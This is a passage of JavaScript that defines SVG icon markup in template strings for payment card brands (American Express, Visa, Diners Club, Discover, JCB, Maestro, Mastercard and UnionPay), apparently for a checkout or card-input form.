12.507-27.36 31.63 0 22.71 12.96 32.248 31.63 32.248h7.715zm63.792-117.244l-50.435 117.264h32.836l9.305-23.482h54.1l9.258 23.482h33.559l-50.387-117.264zm18.66 27.29l16.49 41.034h-33.029zm73.386 89.954V352.564h37.272l47.59 73.676v-73.676h29.317v117.264h-36.067l-48.796-75.604v75.604zM213.699 675.04V557.776h95.662v26.23h-66.038v20.059h64.495v24.687h-64.495v20.83h66.038v25.458zm468.748 0V557.776h95.662v26.23h-66.038v20.059h64.187v24.687H712.07v20.83h66.038v25.458zm-369.373 0l46.578-57.908-47.687-59.356H348.9l28.4 36.693 28.497-36.693h35.488l-47.06 58.632 46.663 58.632H403.96l-27.576-36.114-26.905 36.114zM444.37 557.796V675.06h30.087v-37.03h30.859c26.111 0 45.903-13.853 45.903-40.792 0-22.317-15.523-39.442-42.094-39.442zm30.087 26.52h32.498c8.436 0 14.465 5.17 14.465 13.5 0 7.826-5.999 13.501-14.561 13.501h-32.402zm89.491-26.54V675.04h29.316v-41.66h12.344l35.15 41.66h35.825l-38.573-43.202c15.83-1.336 32.16-14.924 32.16-36.019 0-24.676-19.368-38.043-40.984-38.043zm29.316 26.23h33.511c8.039 0 13.887 6.288 13.887 12.344 0 7.79-7.577 12.343-13.453 12.343h-33.945zm198.423 91.034v-25.458h58.671c8.681 0 12.44-4.692 12.44-9.837 0-4.93-3.747-9.913-12.44-9.913h-26.513c-23.045 0-35.88-14.04-35.88-35.121 0-18.803 11.753-36.935 46-36.935h57.088l-12.343 26.385h-49.375c-9.438 0-12.343 4.952-12.343 9.682 0 4.86 3.59 10.222 10.8 10.222h27.773c25.69 0 36.838 14.572 36.838 33.655 0 20.517-12.422 37.32-38.236 37.32zm107.597 0v-25.458h58.67c8.682 0 12.44-4.692 12.44-9.837 0-4.93-3.746-9.913-12.44-9.913h-26.512c-23.046 0-35.88-14.04-35.88-35.121 0-18.803 11.753-36.935 45.999-36.935h57.089l-12.344 26.385h-49.374c-9.438 0-12.344 4.952-12.344 9.682 0 4.86 3.59 10.222 10.801 10.222h27.773c25.69 0 36.838 14.572 36.838 33.655 0 20.517-12.422 37.32-38.236 37.32z" fill="#016fd0"/></g>`;
                let visa = `<g id="visa-319" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"> <g id="New-Icons" transform="translate(-80.000000, -280.000000)" fill-rule="nonzero"> <g id="Card-Brands" transform="translate(40.000000, 200.000000)"> <g id="Color" transform="translate(0.000000, 80.000000)"> <g id="Visa" transform="translate(40.000000, 0.000000)"> <rect id="Container" stroke-opacity="0.2" stroke="#000000" stroke-width="0.5" fill="#FFFFFF" x="0.25" y="0.25" width="23.5" height="15.5" rx="2"></rect><path d="M2.78773262,5.91443732 C2.26459089,5.62750595 1.6675389,5.39673777 1,5.23659312 L1.0280005,5.1118821 L3.76497922,5.1118821 C4.13596254,5.12488556 4.43699113,5.23650585 4.53494636,5.63071135 L5.12976697,8.46659052 L5.31198338,9.32072617 L6.97796639,5.1118821 L8.77678896,5.1118821 L6.10288111,11.2775284 L4.30396552,11.2775284 L2.78773262,5.91443732 L2.78773262,5.91443732 Z M10.0999752,11.2840738 L8.39882877,11.2840738 L9.46284763,5.1118821 L11.163901,5.1118821 L10.0999752,11.2840738 Z M16.2667821,5.26277458 L16.0354292,6.59558538 L15.881566,6.53004446 C15.5737466,6.40524617 15.1674138,6.28053516 14.6143808,6.29371316 C13.942741,6.29371316 13.6415263,6.56277129 13.6345494,6.82545859 C13.6345494,7.11441463 13.998928,7.3048411 14.5939153,7.58725177 C15.5740257,8.02718756 16.0286384,8.56556562 16.0218476,9.26818871 C16.0080799,10.5486366 14.8460128,11.376058 13.0610509,11.376058 C12.2978746,11.3694253 11.5627918,11.2180965 11.163808,11.0475679 L11.4018587,9.66204513 L11.6258627,9.76066195 C12.1788958,9.99070971 12.5428092,10.0889775 13.221984,10.0889775 C13.7117601,10.0889775 14.2368857,9.89837643 14.2435835,9.48488392 C14.2435835,9.21565125 14.0198586,9.01850486 13.3617074,8.7164581 C12.717789,8.42086943 11.8568435,7.92848346 11.8707973,7.04197926 C11.8780532,5.84042483 13.0610509,5 14.7409877,5 C15.3990458,5 15.9312413,5.13788902 16.2667821,5.26277458 Z M18.5277524,9.0974856 L19.941731,9.0974856 C19.8717762,8.78889347 19.549631,7.31147374 19.549631,7.31147374 L19.4307452,6.77964104 C19.3467437,7.00942698 19.1998574,7.38373457 19.2069273,7.37055657 C19.2069273,7.37055657 18.6678479,8.74290137 18.5277524,9.0974856 Z M20.6276036,5.1118821 L22,11.2839865 L20.4249023,11.2839865 C20.4249023,11.2839865 20.2707601,10.5748181 20.221922,10.3581228 L18.0377903,10.3581228 C17.9746264,10.5221933 17.6807607,11.2839865 17.6807607,11.2839865 L15.8957988,11.2839865 L18.4226343,5.62399144 C18.5977072,5.22341512 18.9059917,5.1118821 19.3117663,5.1118821 L20.6276036,5.1118821 L20.6276036,5.1118821 Z" id="Shape" fill="#1434CB"></path></g></g></g></g></g>`;
                let diners = `<g id="dinners-319" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="New-Icons" transform="translate(-320.000000, -280.000000)" fill-rule="nonzero"><g id="Card-Brands" transform="translate(40.000000, 200.000000)"><g id="Color" transform="translate(0.000000, 80.000000)"><g id="Diners-Club" transform="translate(280.000000, 0.000000)"><path d="M21.9972414,15.749927 L21.999381,15.7499362 C22.9544683,15.7581106 23.73806,14.9772525 23.75,14.0041555 L23.7500083,2.00630219 C23.7461702,1.53568921 23.5588633,1.08617106 23.2297297,0.756801782 C22.9014319,0.428268884 22.4589161,0.246148853 21.9972414,0.250070854 L2.00063,0.250061791 C1.54108393,0.246148853 1.09856813,0.428268884 0.77027028,0.756801782 C0.441136651,1.08617106 0.253829819,1.53568921 0.25,2.00426336 L0.249991686,13.9936957 C0.253829819,14.4643086 0.441136651,14.9138268 0.77027028,15.2431961 C1.09856813,15.571729 1.54108393,15.753849 2.00275862,15.749927 L21.9972414,15.749927 Z M21.996203,16.249927 C21.9958359,16.249924 21.9954688,16.249921 21.9951018,16.2499178 L21.9972414,16.249927 L21.996203,16.249927 Z" id="shape" stroke-opacity="0.2" stroke="#000000" stroke-width="0.5" fill="#FFFFFF"></path><path d="M10.0021142,2.05179033 L10.0021142,2.03579033 L14.0021142,2.03579033 L14.0021142,2.05179033 C17.1375481,2.28122918 19.5642283,4.89197286 19.5642283,8.03579033 C19.5642283,11.1796078 17.1375481,13.7903515 14.0021142,14.0197903 L14.0021142,14.0357903 L10.0021142,14.0357903 L10.0021142,14.0197903 C6.86668021,13.7903515 4.44,11.1796078 4.44,8.03579033 C4.44,4.89197286 6.86668021,2.28122918 10.0021142,2.05179033 Z" id="shape" fill="#0165AC"></path><path d="M11.6021142,11.4277903 C13.0374002,10.9175027 13.9961556,9.55908923 13.9961556,8.03579033 C13.9961556,6.51249143 13.0374002,5.15407792 11.6021142,4.64379033 L11.6021142,11.4277903 L11.6021142,11.4277903 Z M9.20211417,4.64379033 C7.76682809,5.15407792 6.80807271,6.51249143 6.80807271,8.03579033 C6.80807271,9.55908923 7.76682809,10.9175027 9.20211417,11.4277903 L9.20211417,4.64379033 L9.20211417,4.64379033 Z M10.4021142,13.2357903 C7.53023347,13.2357903 5.20211417,10.907671 5.20211417,8.03579033 C5.20211417,5.16390963 7.53023347,2.83579033 10.4021142,2.83579033 C13.2739949,2.83579033 15.6021142,5.16390963 15.6021142,8.03579033 C15.6021142,10.907671 13.2739949,13.2357903 10.4021142,13.2357903 Z" id="shape" fill="#FFFFFF"></path></g></g></g></g></g>`;
                let discover = `<g id="discover-319" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"> <g id="New-Icons" transform="translate(-280.000000, -280.000000)" fill-rule="nonzero"> <g id="Card-Brands" transform="translate(40.000000, 200.000000)"> <g id="Color" transform="translate(0.000000, 80.000000)"> <g id="Discover" transform="translate(240.000000, 0.000000)"> <path d="M21.9972414,15.749927 L21.999381,15.7499362 C22.9544683,15.7581106 23.73806,14.9772525 23.75,14.0041555 L23.7500083,2.00630219 C23.7461702,1.53568921 23.5588633,1.08617106 23.2297297,0.756801782 C22.9014319,0.428268884 22.4589161,0.246148853 21.9972414,0.250070854 L2.00063,0.250061791 C1.54108393,0.246148853 1.09856813,0.428268884 0.77027028,0.756801782 C0.441136651,1.08617106 0.253829819,1.53568921 0.25,2.00426336 L0.249991686,13.9936957 C0.253829819,14.4643086 0.441136651,14.9138268 0.77027028,15.2431961 C1.09856813,15.571729 1.54108393,15.753849 2.00275862,15.749927 L21.9972414,15.749927 Z M21.996203,16.249927 C21.9958359,16.249924 21.9954688,16.249921 21.9951018,16.2499178 L21.9972414,16.249927 L21.996203,16.249927 Z" id="shape" stroke-opacity="0.2" stroke="#000000" stroke-width="0.5" fill="#FFFFFF"></path> <path d="M12.6124138,15.9999283 L21.9972414,15.9999283 C22.5240217,16.0043364 23.0309756,15.7992919 23.4065697,15.4299059 C23.7821638,15.06052 23.9956285,14.5570537 24,14.0302731 L24,11.6716524 C20.4561668,13.7059622 16.6127929,15.1667795 12.6124138,15.9999283 L12.6124138,15.9999283 Z" id="shape" fill="#F27712"></path> <path d="M23.1724138,9.29647999 L22.32,9.29647999 L21.36,8.03027309 L21.2689655,8.03027309 L21.2689655,9.29647999 L20.5737931,9.29647999 L20.5737931,6.1516524 L21.6,6.1516524 C22.4027586,6.1516524 22.8662069,6.48268688 22.8662069,7.07854895 C22.8662069,7.56682481 22.5765517,7.88130757 22.0551724,7.98061792 L23.1724138,9.29647999 Z M22.1462069,7.10337654 C22.1462069,6.79716964 21.9144828,6.63992826 21.4841379,6.63992826 L21.2689655,6.63992826 L21.2689655,7.5916524 L21.4675862,7.5916524 C21.9144828,7.5916524 22.1462069,7.42613516 22.1462069,7.10337654 L22.1462069,7.10337654 Z M18.1406897,6.1516524 L20.1103448,6.1516524 L20.1103448,6.68130757 L18.8358621,6.68130757 L18.8358621,7.38475585 L20.0606897,7.38475585 L20.0606897,7.92268688 L18.8358621,7.92268688 L18.8358621,8.77510068 L20.1103448,8.77510068 L20.1103448,9.30475585 L18.1406897,9.30475585 L18.1406897,6.1516524 Z M15.9062069,9.37923861 L14.4,6.14337654 L15.1613793,6.14337654 L16.1131034,8.26199723 L17.0731034,6.14337654 L17.817931,6.14337654 L16.2951724,9.37923861 L15.9227586,9.37923861 L15.9062069,9.37923861 Z M9.60827586,9.37096274 C8.54896552,9.37096274 7.72137931,8.65096274 7.72137931,7.71579033 C7.72137931,6.8054455 8.56551724,6.06889378 9.62482759,6.06889378 C9.92275862,6.06889378 10.1710345,6.12682481 10.4772414,6.25923861 L10.4772414,6.98751447 C10.2453534,6.75969251 9.93335245,6.63192067 9.60827586,6.6316524 C8.9462069,6.6316524 8.44137931,7.1116524 8.44137931,7.71579033 C8.44137931,8.35303171 8.93793103,8.80820412 9.64137931,8.80820412 C9.95586207,8.80820412 10.1958621,8.70889378 10.4772414,8.46061792 L10.4772414,9.18889378 C10.1627586,9.32130757 9.89793103,9.37096274 9.60827586,9.37096274 L9.60827586,9.37096274 Z M7.5062069,8.33647999 C7.5062069,8.94889378 7.00137931,9.37096274 6.27310345,9.37096274 C5.74344828,9.37096274 5.36275862,9.18889378 5.04,8.77510068 L5.49517241,8.38613516 C5.65241379,8.66751447 5.91724138,8.80820412 6.24827586,8.80820412 C6.56275862,8.80820412 6.7862069,8.6178593 6.7862069,8.36958343 C6.7862069,8.22889378 6.72,8.12130757 6.57931034,8.03854895 C6.42504922,7.96369158 6.26441119,7.90275992 6.09931034,7.85647999 C5.44551724,7.64958343 5.22206897,7.42613516 5.22206897,6.98751447 C5.22206897,6.47441102 5.70206897,6.0854455 6.33103448,6.0854455 C6.72827586,6.0854455 7.08413793,6.20958343 7.38206897,6.44130757 L7.01793103,6.85510068 C6.87360928,6.69688076 6.66932728,6.60675635 6.45517241,6.60682481 C6.15724138,6.60682481 5.94206897,6.75579033 5.94206897,6.95441102 C5.94206897,7.11992826 6.0662069,7.21096274 6.48,7.3516524 C7.27448276,7.59992826 7.5062069,7.8316524 7.5062069,8.34475585 L7.5062069,8.33647999 Z M4.08827586,6.1516524 L4.78344828,6.1516524 L4.78344828,9.30475585 L4.08827586,9.30475585 L4.08827586,6.1516524 Z M1.8537931,9.30475585 L0.827586207,9.30475585 L0.827586207,6.1516524 L1.8537931,6.1516524 C2.97931034,6.1516524 3.75724138,6.79716964 3.75724138,7.72406619 C3.75724138,8.19579033 3.52551724,8.64268688 3.12,8.94061792 C2.77241379,9.18889378 2.38344828,9.30475585 1.84551724,9.30475585 L1.8537931,9.30475585 Z M2.66482759,6.9378593 C2.43310345,6.75579033 2.16827586,6.68958343 1.71310345,6.68958343 L1.52275862,6.68958343 L1.52275862,8.77510068 L1.71310345,8.77510068 C2.16,8.77510068 2.44137931,8.69234206 2.66482759,8.52682481 C2.90482759,8.32820412 3.04551724,8.03027309 3.04551724,7.72406619 C3.04551724,7.4178593 2.90482759,7.12820412 2.66482759,6.9378593 Z" id="shape" fill="#000000"></path> <path d="M12.4137931,6.06889378 C11.5034483,6.06889378 10.7586207,6.79716964 10.7586207,7.69923861 C10.7586207,8.65923861 11.4703448,9.37923861 12.4137931,9.37923861 C13.3406897,9.37923861 14.0689655,8.65096274 14.0689655,7.72406619 C14.0689655,6.79716964 13.3489655,6.06889378 12.4137931,6.06889378 Z" id="shape" fill="#F27712"></path> </g> </g> </g> </g></g>`;
                let jcb = `  <g id="jcb-319" fill="none"> <path d="m.20535714 16h4.51785715c1.0278125 0 2.25892857-1.1946667 2.25892857-2.1333333v-13.8666667h-4.51785715c-1.0278125 0-2.25892857 1.19466667-2.25892857 3.2z" fill="#047ab1" /> <path d="m2.76924107 10.816c-.86733559.0001606-1.73039558-.1147397-2.56388393-.3413333v-1.17333337c.64678874.37770431 1.38610045.59084099 2.14598215.61866667.8696875 0 1.35535714-.576 1.35535714-1.36533333v-3.22133334h2.14598214v3.22133334c0 1.25866666-.70026786 2.26133333-3.0834375 2.26133333z" fill="#fff" /> <path d="m8.11160714 16h4.51785716c1.0278125 0 2.2589286-1.1946667 2.2589286-2.1333333v-13.8666667h-4.5178572c-1.02781249 0-2.25892856 1.19466667-2.25892856 3.2z" fill="#d42d06" /> <path d="m8.11160714 6.08c.65508929-.59733333 1.78455357-.97066667 3.61428576-.88533333.9939285.04266666 2.0330357.32 2.0330357.32v1.184c-.5943231-.3394747-1.2623758-.54734656-1.9539732-.608-1.3892411-.11733334-2.23633933.61866666-2.23633933 1.90933333s.84709823 2.0266667 2.23633933 1.92c.6920185-.06606555 1.3596342-.27744592 1.9539732-.61866667v1.17333337s-1.0391072.288-2.0330357.3306666c-1.82973219.0853334-2.95919647-.288-3.61428576-.8853333z" fill="#fff" /> <path d="m16.0178571 16h4.5178572c1.0278125 0 2.2589286-1.1946667 2.2589286-2.1333333v-13.8666667h-4.5178572c-1.0278125 0-2.2589286 1.19466667-2.2589286 3.2z" fill="#67b637" /> <path d="m21.6651786 9.28c0 .8533333-.7002679 1.3866667-1.6377232 1.3866667h-4.0095983v-5.33333337h3.6481697l.2597768.01066667c.8245089.04266667 1.4344196.50133333 1.4344196 1.29066667 0 .61866666-.4179018 1.152-1.1746428 1.28v.032c.8358035.05333333 1.4795982.55466666 1.4795982 1.33333333zm-2.880134-3.104c-.0486104-.00686658-.0976798-.01043129-.1468303-.01066667h-1.3553572v1.344h1.5021875c.2823661-.064.5195536-.30933333.5195536-.672 0-.36266666-.2371875-.608-.5195536-.66133333zm.1694197 2.176c-.059755-.00886168-.1202559-.01243275-.1807143-.01066667h-1.4908929v1.46133334h1.4908929l.1807143-.02133334c.2823661-.064.5195536-.34133333.5195536-.71466666 0-.37333334-.2258929-.64-.5195536-.71466667z" fill="#fff" /> </g>`;
                let maestro = `<g id="maestro-319" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"> <g id="maestro" fill-rule="nonzero"> <rect id="Rectangle-1" fill="#000000" x="0" y="0" width="750" height="471" rx="40"></rect> <g id="Group" transform="translate(133.000000, 48.000000)"> <path d="M146.8,373.77 L146.8,349 C146.8,339.65 140.8,333.36 131.25,333.28 C126.25,333.2 120.99,334.77 117.35,340.28 C114.62,335.9 110.35,333.28 104.28,333.28 C99.6528149,333.047729 95.2479974,335.280568 92.7,339.15 L92.7,334.27 L84.09,334.27 L84.09,373.82 L92.78,373.82 L92.78,351.85 C92.78,344.98 96.59,341.34 102.46,341.34 C108.17,341.34 111.07,345.06 111.07,351.76 L111.07,373.76 L119.76,373.76 L119.76,351.85 C119.76,344.98 123.76,341.34 129.44,341.34 C135.31,341.34 138.13,345.06 138.13,351.76 L138.13,373.76 L146.8,373.77 Z M195.28,354 L195.28,334.23 L186.67,334.23 L186.67,339 C183.94,335.44 179.8,333.21 174.18,333.21 C163.09,333.21 154.41,341.9 154.41,353.98 C154.41,366.06 163.1,374.75 174.18,374.75 C179.81,374.75 183.94,372.52 186.67,368.96 L186.67,373.76 L195.28,373.76 L195.28,354 Z M163.28,354 C163.28,347.05 167.83,341.34 175.28,341.34 C182.4,341.34 187.19,346.8 187.19,354 C187.19,361.2 182.39,366.66 175.28,366.66 C167.81,366.66 163.26,360.95 163.26,354 L163.28,354 Z M379.4,333.19 C382.306602,333.161358 385.190743,333.701498 387.89,334.78 C390.404719,335.784654 392.697997,337.272736 394.64,339.16 C396.553063,341.035758 398.069744,343.276773 399.1,345.75 C401.246003,351.047587 401.246003,356.972413 399.1,362.27 C398.069744,364.743227 396.553063,366.984242 394.64,368.86 C392.698322,370.747671 390.404958,372.235809 387.89,373.24 C382.423165,375.368264 376.356835,375.368264 370.89,373.24 C368.379501,372.23863 366.092168,370.749994 364.16,368.86 C362.258485,366.978798 360.749319,364.738843 359.72,362.27 C357.573997,356.972413 357.573997,351.047587 359.72,345.75 C360.749788,343.28141 362.258895,341.041542 364.16,339.16 C366.092334,337.270213 368.379623,335.781606 370.89,334.78 C373.595493,333.69893 376.486681,333.158743 379.4,333.19 Z M379.4,341.33 C377.718221,341.315441 376.049964,341.631425 374.49,342.26 C373.019746,342.850363 371.685751,343.735156 370.57,344.86 C369.447092,346.008077 368.563336,347.367702 367.97,348.86 C366.704271,352.169784 366.704271,355.830216 367.97,359.14 C368.562861,360.632544 369.446675,361.992258 370.57,363.14 C371.685751,364.264844 373.019746,365.149637 374.49,365.74 C377.649488,366.979283 381.160512,366.979283 384.32,365.74 C385.794284,365.146098 387.134154,364.26192 388.26,363.14 C389.392829,361.995929 390.283848,360.635594 390.88,359.14 C392.145729,355.830216 392.145729,352.169784 390.88,348.86 C390.283848,347.364406 389.392829,346.004071 388.26,344.86 C387.134154,343.73808 385.794284,342.853902 384.32,342.26 C382.757613,341.626714 381.085807,341.307304 379.4,341.32 L379.4,341.33 Z M242.1,354 C242.02,341.67 234.41,333.23 223.32,333.23 C211.74,333.23 203.63,341.67 203.63,354 C203.63,366.58 212.07,374.77 223.9,374.77 C229.9,374.77 235.32,373.28 240.12,369.23 L235.9,362.86 C232.633262,365.479648 228.586894,366.936341 224.4,367 C218.86,367 213.81,364.44 212.57,357.32 L241.94,357.32 C242,356.23 242.1,355.16 242.1,354 Z M212.65,350.53 C213.56,344.82 217.03,340.93 223.16,340.93 C228.7,340.93 232.26,344.4 233.16,350.53 L212.65,350.53 Z M278.34,344.33 C274.582803,342.165547 270.335565,340.995319 266,340.93 C261.28,340.93 258.47,342.67 258.47,345.56 C258.47,348.21 261.47,348.95 265.17,349.45 L269.22,350.03 C277.83,351.27 283.04,354.91 283.04,361.86 C283.04,369.39 276.42,374.77 265.04,374.77 C258.59,374.77 252.63,373.11 247.91,369.64 L251.96,362.94 C255.757785,365.757702 260.39304,367.215905 265.12,367.08 C270.99,367.08 274.12,365.34 274.12,362.28 C274.12,360.05 271.89,358.81 267.17,358.14 L263.12,357.56 C254.27,356.32 249.47,352.35 249.47,345.89 C249.47,338.03 255.92,333.23 265.93,333.23 C272.22,333.23 277.93,334.64 282.06,337.37 L278.34,344.33 Z M319.69,342.1 L305.62,342.1 L305.62,360 C305.62,364 307.03,366.62 311.33,366.62 C314.014365,366.531754 316.632562,365.76453 318.94,364.39 L321.42,371.75 C318.192475,373.761602 314.463066,374.822196 310.66,374.81 C300.48,374.81 296.93,369.35 296.93,360.16 L296.93,342.16 L288.93,342.16 L288.93,334.3 L296.93,334.3 L296.93,322.3 L305.62,322.3 L305.62,334.3 L319.68,334.3 L319.69,342.1 Z M349.47,333.25 C351.556514,333.260012 353.62609,333.625232 355.59,334.33 L352.94,342.44 C351.229904,341.756022 349.401653,341.416198 347.56,341.44 C341.93,341.44 339.12,345.08 339.12,351.62 L339.12,373.79 L330.52,373.79 L330.52,334.23 L339,334.23 L339,339 C341.149726,335.306198 345.148028,333.084492 349.42,333.21 L349.47,333.25 Z" id="Shape" fill="#FFFFFF"></path> <g id="_Group_"> <rect id="Rectangle-path" fill="#7673C0" x="176.95" y="32.39" width="130.5" height="234.51"></rect> <path d="M185.24,149.64 C185.20514,103.86954 206.225386,60.6268374 242.24,32.38 C181.092968,-15.6818249 93.2777189,-8.68578574 40.5116372,48.4512353 C-12.2544445,105.588256 -12.2544445,193.681744 40.5116372,250.818765 C93.2777189,307.955786 181.092968,314.951825 242.24,266.89 C206.228151,238.645328 185.208215,195.406951 185.24,149.64 Z" id="_Path_" fill="#EB001B"></path> <path d="M483.5,149.64 C483.501034,206.73874 450.90156,258.826356 399.545558,283.782862 C348.189556,308.739368 287.092343,302.183759 242.2,266.9 C278.166584,238.620187 299.164715,195.398065 299.164715,149.645 C299.164715,103.891935 278.166584,60.669813 242.2,32.39 C287.090924,-2.89264477 348.185845,-9.44904288 399.541061,15.5049525 C450.896277,40.4589479 483.497206,92.543064 483.5,149.64 Z" id="Shape" fill="#00A1DF"></path> </g> </g> </g> </g>`;
                let mastercard = `<g id="mastercard-319" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"> <g id="mastercard" fill-rule="nonzero"> <rect id="Rectangle-1" fill="#000000" x="0" y="0" width="750" height="471" rx="40"></rect> <g id="Group" transform="translate(133.000000, 48.000000)"> <path d="M88.13,373.67 L88.13,348.82 C88.13,339.29 82.33,333.08 72.81,333.08 C67.81,333.08 62.46,334.74 58.73,340.08 C55.83,335.52 51.73,333.08 45.48,333.08 C40.7599149,332.876008 36.2525337,335.054575 33.48,338.88 L33.48,333.88 L25.61,333.88 L25.61,373.64 L33.48,373.64 L33.48,350.89 C33.48,343.89 37.62,340.54 43.42,340.54 C49.22,340.54 52.53,344.27 52.53,350.89 L52.53,373.67 L60.4,373.67 L60.4,350.89 C60.4,343.89 64.54,340.54 70.34,340.54 C76.14,340.54 79.45,344.27 79.45,350.89 L79.45,373.67 L88.13,373.67 Z M217.35,334.32 L202.85,334.32 L202.85,322.32 L195,322.32 L195,334.32 L186.72,334.32 L186.72,341.32 L195,341.32 L195,360 C195,369.11 198.31,374.5 208.25,374.5 C212.015784,374.421483 215.705651,373.426077 219,371.6 L216.51,364.6 C214.275685,365.996557 211.684475,366.715565 209.05,366.67 C204.91,366.67 202.84,364.18 202.84,360.04 L202.84,341 L217.34,341 L217.34,334.37 L217.35,334.32 Z M291.07,333.08 C286.709355,332.982846 282.618836,335.185726 280.3,338.88 L280.3,333.88 L272.43,333.88 L272.43,373.64 L280.3,373.64 L280.3,351.31 C280.3,344.68 283.61,340.54 289,340.54 C290.818809,340.613783 292.62352,340.892205 294.38,341.37 L296.87,333.91 C294.971013,333.43126 293.02704,333.153071 291.07,333.08 Z M179.66,337.22 C175.52,334.32 169.72,333.08 163.51,333.08 C153.57,333.08 147.36,337.64 147.36,345.51 C147.36,352.14 151.92,355.86 160.61,357.11 L164.75,357.52 C169.31,358.35 172.21,360.01 172.21,362.08 C172.21,364.98 168.9,367.08 162.68,367.08 C157.930627,367.177716 153.278889,365.724267 149.43,362.94 L145.29,369.15 C151.09,373.29 158.13,374.15 162.29,374.15 C173.89,374.15 180.1,368.77 180.1,361.31 C180.1,354.31 175.1,350.96 166.43,349.71 L162.29,349.3 C158.56,348.89 155.29,347.64 155.29,345.16 C155.29,342.26 158.6,340.16 163.16,340.16 C168.16,340.16 173.1,342.23 175.59,343.47 L179.66,337.22 Z M299.77,353.79 C299.77,365.79 307.64,374.5 320.48,374.5 C326.28,374.5 330.42,373.26 334.56,369.94 L330.42,363.73 C327.488758,366.10388 323.841703,367.41823 320.07,367.46 C313.07,367.46 307.64,362.08 307.64,354.21 C307.64,346.34 313,341 320.07,341 C323.841703,341.04177 327.488758,342.35612 330.42,344.73 L334.56,338.52 C330.42,335.21 326.28,333.96 320.48,333.96 C308.05,333.13 299.77,341.83 299.77,353.84 L299.77,353.79 Z M244.27,333.08 C232.67,333.08 224.8,341.36 224.8,353.79 C224.8,366.22 233.08,374.5 245.09,374.5 C250.932775,374.623408 256.638486,372.722682 261.24,369.12 L257.1,363.32 C253.772132,365.898743 249.708598,367.349004 245.5,367.46 C240.12,367.46 234.32,364.15 233.5,357.11 L262.91,357.11 L262.91,353.8 C262.91,341.37 255.45,333.09 244.27,333.09 L244.27,333.08 Z M243.86,340.54 C249.66,340.54 253.8,344.27 254.21,350.48 L232.68,350.48 C233.92,344.68 237.68,340.54 243.86,340.54 Z M136.59,353.79 L136.59,333.91 L128.72,333.91 L128.72,338.91 C125.82,335.18 121.72,333.11 115.88,333.11 C104.7,333.11 96.41,341.81 96.41,353.82 C96.41,365.83 104.69,374.53 115.88,374.53 C121.68,374.53 125.82,372.46 128.72,368.73 L128.72,373.73 L136.59,373.73 L136.59,353.79 Z M104.7,353.79 C104.7,346.33 109.26,340.54 117.13,340.54 C124.59,340.54 129.13,346.34 129.13,353.79 C129.13,361.66 124.13,367.04 117.13,367.04 C109.26,367.45 104.7,361.24 104.7,353.79 Z M410.78,333.08 C406.419355,332.982846 402.328836,335.185726 400.01,338.88 L400.01,333.88 L392.14,333.88 L392.14,373.64 L400,373.64 L400,351.31 C400,344.68 403.31,340.54 408.7,340.54 C410.518809,340.613783 412.32352,340.892205 414.08,341.37 L416.57,333.91 C414.671013,333.43126 412.72704,333.153071 410.77,333.08 L410.78,333.08 Z M380.13,353.79 L380.13,333.91 L372.26,333.91 L372.26,338.91 C369.36,335.18 365.26,333.11 359.42,333.11 C348.24,333.11 339.95,341.81 339.95,353.82 C339.95,365.83 348.23,374.53 359.42,374.53 C365.22,374.53 369.36,372.46 372.26,368.73 L372.26,373.73 L380.13,373.73 L380.13,353.79 Z M348.24,353.79 C348.24,346.33 352.8,340.54 360.67,340.54 C368.13,340.54 372.67,346.34 372.67,353.79 C372.67,361.66 367.67,367.04 360.67,367.04 C352.8,367.45 348.24,361.24 348.24,353.79 Z M460.07,353.79 L460.07,318.17 L452.2,318.17 L452.2,338.88 C449.3,335.15 445.2,333.08 439.36,333.08 C428.18,333.08 419.89,341.78 419.89,353.79 C419.89,365.8 428.17,374.5 439.36,374.5 C445.16,374.5 449.3,372.43 452.2,368.7 L452.2,373.7 L460.07,373.7 L460.07,353.79 Z M428.18,353.79 C428.18,346.33 432.74,340.54 440.61,340.54 C448.07,340.54 452.61,346.34 452.61,353.79 C452.61,361.66 447.61,367.04 440.61,367.04 C432.73,367.46 428.17,361.25 428.17,353.79 L428.18,353.79 Z" id="Shape" fill="#FFFFFF"></path> <g> <rect id="Rectangle-path" fill="#FF5F00" x="170.55" y="32.39" width="143.72" height="234.42"></rect> <path d="M185.05,149.6 C185.05997,103.912554 205.96046,60.7376085 241.79,32.39 C180.662018,-15.6713968 92.8620037,-8.68523415 40.103462,48.4380037 C-12.6550796,105.561241 -12.6550796,193.638759 40.103462,250.761996 C92.8620037,307.885234 180.662018,314.871397 241.79,266.81 C205.96046,238.462391 185.05997,195.287446 185.05,149.6 Z" id="Shape" fill="#EB001B"></path> <path d="M483.26,149.6 C483.30134,206.646679 450.756789,258.706022 399.455617,283.656273 C348.154445,308.606523 287.109181,302.064451 242.26,266.81 C278.098424,238.46936 299.001593,195.290092 299.001593,149.6 C299.001593,103.909908 278.098424,60.7306402 242.26,32.39 C287.109181,-2.86445052 348.154445,-9.40652324 399.455617,15.5437274 C450.756789,40.493978 483.30134,92.5533211 483.26,149.6 Z" id="Shape" fill="#F79E1B"></path> </g> </g> </g> </g>`;
                let unionpay = `<g id="unionpay-319" fill="none"> <path d="m4.54588254.00006676h5.79377466c.8087588 0 1.3117793.72566459 1.1231113 1.61890981l-2.69741608 12.74856503c-.19036262.8901361-1.00010994 1.6164225-1.80943362 1.6164225h-5.79320976c-.80762905 0-1.31177937-.7262864-1.12311135-1.6164225l2.69854581-12.74856503c.18866803-.89324522.9979917-1.61890981 1.80773904-1.61890981" fill="#dd2423" /> <path d="m9.85756516.00006676h6.66269264c.8086174 0 .4439911.72566459.2537697 1.61890981l-2.6969924 12.74856503c-.1892329.8901361-.1302036 1.6164225-.9405158 1.6164225h-6.66269248c-.81031221 0-1.31177939-.7262864-1.12141672-1.6164225l2.69685116-12.74856503c.19149238-.89324522.99912144-1.61890981 1.8083039-1.61890981" fill="#16315e" /> <path d="m16.2559813.00006676h5.7937745c.8098886 0 1.3129092.72566459 1.1226878 1.61890981l-2.6969924 12.74856503c-.1903626.8901361-1.0006749 1.6164225-1.8104222 1.6164225h-5.7910915c-.8103122 0-1.3129091-.7262864-1.1231113-1.6164225l2.697416-12.74856503c.1886681-.89324522.9974268-1.61890981 1.8077391-1.61890981" fill="#036862" /> <path d="m6.05901135 4.08561434c-.59580116.00668457-.77175951 0-.8279645-.01461278-.02160646.11301588-.42365577 2.15460824-.42478553 2.15631824-.08656699.4130443-.14955043.7074763-.36349659.89759795-.12144798.1105286-.26323144.1638497-.42760986.1638497-.26421996 